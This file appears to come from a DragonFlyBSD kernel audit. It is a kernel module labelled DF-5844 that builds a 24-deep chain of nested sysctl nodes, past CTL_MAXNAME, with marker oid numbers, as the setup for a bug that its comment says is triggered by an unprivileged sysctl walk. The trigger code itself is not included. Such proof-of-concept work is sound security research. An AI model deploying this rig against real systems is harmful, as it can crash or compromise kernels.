⬢ DragonFlyBSD Kernel Audit
DF-5844 / deepoid.c
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/*
 * deepoid.c - DF-5844 rig: plant a CTL_MAXNAME+ exceeding chain of nested
 * dynamic sysctl nodes with recognizable explicit oid numbers
 * (0x41414100+i). Loaded by root (rig only); the actual trigger is the
 * unprivileged next-walk (trigger.c / sysctl -aN).
 */
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/errno.h>

static struct sysctl_ctx_list deep_ctx;
static struct sysctl_oid *chain[64];
static int chain_len = 24;

static int
deepoid_load(struct module *m, int what, void *arg)
{
	struct sysctl_oid *parent;
	int i;

	switch (what) {
	case MOD_LOAD:
		sysctl_ctx_init(&deep_ctx);
		parent = SYSCTL_ADD_NODE(&deep_ctx, &sysctl__children,
					 0x41414100, "deep", CTLFLAG_RD,
					 NULL, "DF-5844 deep chain root");
		if (parent == NULL) {
			kprintf("deepoid: root add failed\n");
			return (EINVAL);
		}
		chain[0] = parent;
		for (i = 1; i < chain_len; i++) {
			parent = SYSCTL_ADD_NODE(&deep_ctx,
						 SYSCTL_CHILDREN(parent),
						 0x41414100 + i, "n",
						 CTLFLAG_RD, NULL,
						 "DF-5844 deep node");
			if (parent == NULL) {
				kprintf("deepoid: add level %d failed\n", i);
				return (EINVAL);
			}
			chain[i] = parent;
		}
		kprintf("deepoid: loaded %d-deep chain (oid 0x41414100+)\n",
			chain_len);
		return (0);
	case MOD_UNLOAD:
		sysctl_ctx_free(&deep_ctx);
		kprintf("deepoid: unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t deepoid_mod = { "deepoid", deepoid_load, 0 };
DECLARE_MODULE(deepoid, deepoid_mod, SI_SUB_EXEC, SI_ORDER_ANY);